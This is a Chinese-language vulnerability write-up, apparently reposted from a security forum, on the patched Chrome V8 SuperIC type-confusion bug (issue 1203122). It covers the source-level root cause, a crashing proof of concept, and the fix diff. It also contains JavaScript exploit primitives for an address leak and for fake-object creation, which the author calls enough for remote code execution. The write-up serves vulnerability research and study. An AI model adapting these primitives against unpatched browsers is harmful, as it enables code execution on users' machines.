Chrome v8 Issue 1203122:IC类型混淆漏洞原理

新闻资讯   2023-06-10 18:16   69   0  

问题出现场景:

假设对象A,其偏移+10的地方有一个属性x,这个属性为数字,同时存在一个B对象,这个对象偏移+10的地方是一个Object对象地址。(v8在性能优化的时候会使用对象地址加偏移的方法来直接获取属性,比如在IC内联缓存,还有JIT优化以后。)


实际处理中如果AB对象出现混淆,例如在v8在JS函数调用期待的是处理对象A的属性x,并且x为一个数字类型,如果实际上处理却传入了对象B,就会根据B的基址+10偏移取值,并将其当作A的数字属性x返回,这样造成的结果就会将B+10偏移的对象地址当作A的属性x数字返回给JS调用函数,出现信息泄露。

  

                                                                                           如图1


反过来,如果JS函数调用期待的是处理A对象的偏移+10的属性x,并且x为一个对象,如果实际上处理却传入的是对象B,那么就会根据B的基址+10偏移取值,并当作A的属性x返回,这样造成的结果就会将B+10偏移指向的数字,当成A的属性x对象返回给JS调用者,如果B偏移+10的这个地址指向我们预先设定的数据,就可以伪造一个对象结构。


                                                                                         如图2


第一:关于v8内联缓存(IC 缓存)


1.1:v8对于执行一定次数的函数,会对函数操作的对象的属性进行内联缓存(IC)优化。


比如函数:


function foo(obj)
{
   return obj.x;
}
for(let i=0;i<20;i++)
{
   foo(a);
}


v8在开始处理这个foo(a)的时候,会进行profiling data和feeback进行收集,然后根据profiing data和feedback的信息进行内联缓存优化。


比如我们一直使用 a={x:1}进行foo(a)运算,那么v8会在处理这个foo(a)运行到一定次数后,记录下a的数据结构,然后下次如果再碰到这种foo(a)运算时,直接使用a的地址加上a对象地址与x属性的偏移来进行x属性数据的索引,提升v8运行的效率。


1.2:v8使用super关键字来进行对父对象的索引。


class A{
  get prop(){
    return this.x=1;
  }
}
class B extends A{
  m(){
    return super.prop;
  }
}
var b = new B();
console.log(b.m());  //<------ '1'


比如上面这段JS代码里面,class A里面定义了prop函数,class B继承了class A,v8是通过super属性来获取class A中的属性x,严格来说,是获得A.prototype.x,然后返回给调用者的,v8有针对这种super索引的父类的情况有做专门的优化处理,这个处理阶段叫做superIC。


1.3:还是这段JS代码:


class A{
  get prop(){
    return this.x=1;
  }
}
 
class B extends A{
  m(){
    return super.prop;
  }
}
var b = new B();
console.log(b.m());  //<------ '1'


在这段JS代码中b.m()返回的是class B的super.prop,根据super关键字,v8会去去寻找父对象class A,然后根据class A prototype返回x属性。

也就是说在v8的处理中,b.m()会从class B再找到class A,再从class A的prototype里面找到x属性。


理想的v8 superIC处理过程中,这个发起寻找属性的对象,以这个例子来说,这段JS代码中的b对象实例在v8中叫做receiver,然后用一个叫lookup_start_object的对象来标识进行这个寻找过程所用的对象,lookup_start_object先为class B,然后为class A,最后为A.prototype,最后根据class A的prototype中找到x属性,并返回给调用程序。


之后如果出现同样的运算,v8会根据lookup_start_object的数据数据结构,利用lookup_start_object加上lookup_start_object与属性x的偏移,并将这个偏移的值取出返回。


这里可以看到,receiver和lookup_start_object并不是一个东西,在实际的js中,我们可以通过B.__proto__这样的运算来修改掉B对象里面的super关键字指向的对象,这样可以造成receiver.x和lookup_start_object.x内存布局不一致。


1.4 megamorphic


如下JS代码:


function foo(obj)
{
    return obj.x;
}


如果每次传入的obj都为对象a,那么v8 IC之后,会标记该属性为MONOMORPHIC。如果传入的obj有a对象,b对象两种情况,会标记为POLYMORPHIC,如果大于4种情况,则会标记为MEGAMORPHIC。


2.1:简单的漏洞分析


void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
  ExitPoint direct_exit(this);
 
  TVARIABLE(MaybeObject, var_handler);
  Label if_handler(this, &var_handler), no_feedback(this),
      non_inlined(this, Label::kDeferred), try_polymorphic(this),
      miss(this, Label::kDeferred);
 
  GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]
 
  // The lookup start object cannot be a SMI, since it's the home object's
  // prototype, and it's not possible to set SMIs as prototypes.
  TNode<Map> lookup_start_object_map =
      LoadReceiverMap(p->lookup_start_object());
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
 
  TNode<MaybeObject> feedback = <------- [1]
      TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
                         &if_handler, &var_handler, &try_polymorphic);
 
  BIND(&if_handler); <------- [2]
  {
    LazyLoadICParameters lazy_p(p);
    HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
                            &direct_exit);
  }
 
  BIND(&no_feedback); <------- [3]
  { LoadSuperIC_NoFeedback(p); }
 
  BIND(&try_polymorphic); <------- [4]
  TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
  {
    Comment("LoadSuperIC_try_polymorphic");
    GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
    HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
                          &if_handler, &var_handler, &miss);
  }
 
  BIND(&non_inlined); <------- [5]
  {
    // LoadIC_Noninlined can be used here, since it handles the
    // lookup_start_object != receiver case gracefully.
    LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
                      &if_handler, &miss, &direct_exit);
  }
 
  BIND(&miss); <------- [6]
  direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
                                p->receiver(), p->lookup_start_object(),
                                p->name(), p->slot(), p->vector());
}
```


如上述代码所示,2.1.1,一开始运行的时候,因为没有feedback,会命中miss[6],随后随着调用的增多,代码路径为[0]=>[1]=>[2]。创建feedback,然后执行LoadSuperIC_NoFeedback。


2.1.2,接着由于feedback的增多,代码执行路径为[1]=>[4]=>[5]。这里的[5]注释已经说明lookup_start_object!=receiver。而在一开始命中miss的时候,输入的参数中有p->receiver(),和p->lookup_start_object()。这里标示了LoadIC_Noninlined(p,lookup_start_object_map,....)也就是期待使用的是lookup_start_object。


```
void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");
 
  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);
 
  Label if_smi_handler(this, {&var_holder, &var_smi_handler});
  Label try_proto_handler(this, Label::kDeferred),
      call_handler(this, Label::kDeferred);
 
  Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);
 
  BIND(&try_proto_handler);
  {
    GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
    HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
                             &if_smi_handler, miss, exit_point, ic_mode,
                             access_mode);
  }
 
  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }
 
  BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }
}
```


如上述代码所示,在随后的操作中:


2.1.3:[6]在exit_point->ReturnCallStub()中,却使用p->receiver()来加入具体的函数执行,但如我前面2.1.2所说,v8使用的是lookup_start_object_map,期待的是lookup_start_object,出现了类型混淆(个人认为是因为v8的程序员认为使用p->receiver()和p->lookup_start_object()结果没什么差别)。


2.2:poc的构造


function main(){
    class C{
        m(){
            super.prototype//返回C.__proto__.prototype
        }
    }
    function f(){}
    C.prototype.__proto__ = f//修改C.prototype.__proto__为f(){}函数。
 
    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2
 
    f.prototype//制造prototype属性MEGAMORPHIC的情况,与这个poc触发的混淆代码路径有关。
    c.m()
}
for (let i=0;i<0x100;++i) {
    main()
}


这个poc构造过程如下:


   2.2.1:创建一个class C,然后创建一个函数m()返回其super对象的prototype属性,也就是执行C.__proto__.prototype运算。


   2.2.2:将C.__proto__改为指向f函数对象,当执行一定次数的main()以后,就会进行IC优化,此时进行c.m()运算,就会从class C中的m()成员函数进行super.prototype进行访问,最终访问到C的父类Object的prototype,然后会将C.__proto__,也就是函数f标记为lookup_start_object,然返回其prototype,并将lookup_start_object提供给后续的m()调用使用。


   2.2.3:main中每次都function f(){}然后通过f.prototype来对prototype这个属性进行访问,制造出这个属性MEGAMORPHIC的情况。


   2.2.4:添加x0,x1,x2,x3,x4属性添加给c。也就是上文所说的receiver,改变receiver的内存结构,使得和lookup_start_object不一致。


   2.2.5:在触发内联缓存后,使用c.m()访问C.__proto__.prototype,v8正确的做法是使用lookup_start_object也就是函数f返回f.prototype来返回给JS,但实际上我们可以通过上面漏洞的代码片段看出,是使用receiver进行属性的查找,就会将我们设定的0x42424242 / 2代替f.prototype进行返回,并作为f.prototype的类型解析,最终出现了类型混淆报错。


但是单靠这点问题没法RCE,这个POC更多的是验证这种代码的问题。


2.2.3:漏洞的利用


2.2.3.1通过Object对象和String对象进行混淆,然后通过String的length属性进行地址泄露:


  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
 
    if (receiver->IsStringWrapper() && <------- [0]
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }


如上所示如果receiver为String对象,在SuperIC过程中,会将receiver传进去,然后执行的为LoadIC_StringWrapperLength。


class O extends Object{
        constructor(){
            super()
            this.x0 = this
            this[0] = 0x41424344 / 2
            this[1] = 0x45464748 / 2
        }
        m(){
            return super.length
        }
 
}
    const o=new O()
 
    function f(){
        const proto = new String("a")
        O.prototype.__proto__=proto
        proto.length
        return o.m()
    }
    for (var i=0;i<0x100;++i) {
        const value=f()
        if (value!==1) {
            return [o,value-1]
        }
    }


通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后将O.prototype.__proto__指向的对象设置为lookup_start_object,紧接着我们将这个lookup_start_object改变为一个string对象,因为漏洞的原因(上述C++代码[0])实际上v8处理的对象为receiver,也就是我们的o,然后将o指向的Elements地址作为string对象的length属性返回。


这样就造成了信息泄露。


2.2.3.2:通过Array对象与Function对象混淆,然后用Function的prototype属性进行伪造对象。


    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() && <------- [1]
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }


在上面这段代码片段中,如果recever为Function对象,那么在IC过程中会用receiver来执行LoadIC_FunctionPrototype。


const fake_array =(function(){
    class A extends Array {
        constructor(){
            super(1,2,3,4)
            this.x1 = 0x41414142/2
            this.x2 = 0x42424242/2
            this.x3 = 0x43434344/2
            this.x4 = (da_elements_addr+8+2)/2
        }
        m(){
            return super.prototype
        }
    }
 
    const a = new A()
 
    function f() {
        const proto=function(){}
        A.prototype.__proto__=proto
        proto.prototype
        return a.m()
    }
 
    for (var i=0;i<0x100;++i) {
        const value = f()
        if (value.length!==undefined) {
            return value
        }
    }


通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后得到O.prototype.__proto__设置为lookup_start_object,紧接着我们将这个lookup_start_object设置为一个function对象,因为漏洞的原因(上述C++代码[1]处)实际上v8处理的对象为receiver,也就是我们的a,然后将a指向的da_elements_addr地址作为f对象的prototype属性处理。这样就将地址da_elements_addr的数据当成了对象。

有了信息泄露+对象伪造,就能轻松完成RCE。


第三:补丁


有了前面的知识后,这补丁也就非常简单了,修补过程只要把上述代码片段中的receiver换成lookup_start_object就可以了:


@@ -220,8 +220,8 @@
   BIND(&call_handler);
   {
     exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
-                               p->context(), p->receiver(), p->name(),
-                               p->slot(), p->vector());
+                               p->context(), p->lookup_start_object(),
+                               p->name(), p->slot(), p->vector());
   }
 }
+  Handle<Object> lookup_start_object = lookup->lookup_start_object();
   // `in` cannot be called on strings, and will always return true for string
   // wrapper length and function prototypes. The latter two cases are given
   // LoadHandler::LoadNativeDataProperty below.
   if (!IsAnyHas() && !lookup->IsElement()) {
-    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+    if (lookup_start_object->IsString() &&
+        *lookup->name() == roots.length_string()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
       return BUILTIN_CODE(isolate(), LoadIC_StringLength);
     }
 
-    if (receiver->IsStringWrapper() &&
+    if (lookup_start_object->IsStringWrapper() &&
         *lookup->name() == roots.length_string()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
       return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
     }
 
     // Use specialized code for getting prototype of functions.
-    if (receiver->IsJSFunction() &&
+    if (lookup_start_object->IsJSFunction() &&
         *lookup->name() == roots.prototype_string() &&
-        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+        !JSFunction::cast(*lookup_start_object)
+             .PrototypeRequiresRuntimeLookup()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
       return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
     }
@@ -864,8 +867,7 @@
   bool holder_is_lookup_start_object;
   if (lookup->state() != LookupIterator::JSPROXY) {
     holder = lookup->GetHolder<JSObject>();
-    holder_is_lookup_start_object =
-        lookup->lookup_start_object().is_identical_to(holder);
+    holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);
   }
   switch (lookup->state()) {


不过因为IC过程中的中间对象众多,编写v8的程序员会混淆的不只是receiver和lookup_start_object,这个issue是这种类型的第一个,会混淆的还有别的对象,现在我看过的就有3个。


参考:

https://bugs.chromium.org/p/chromium/issues/detail?id=1203122&q=SuperIC&can=1
https://zhuanlan.zhihu.com/p/28790195





看雪ID:苏啊树

https://bbs.kanxue.com/user-home-808412.htm

*本文为看雪论坛优秀文章,由 苏啊树 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。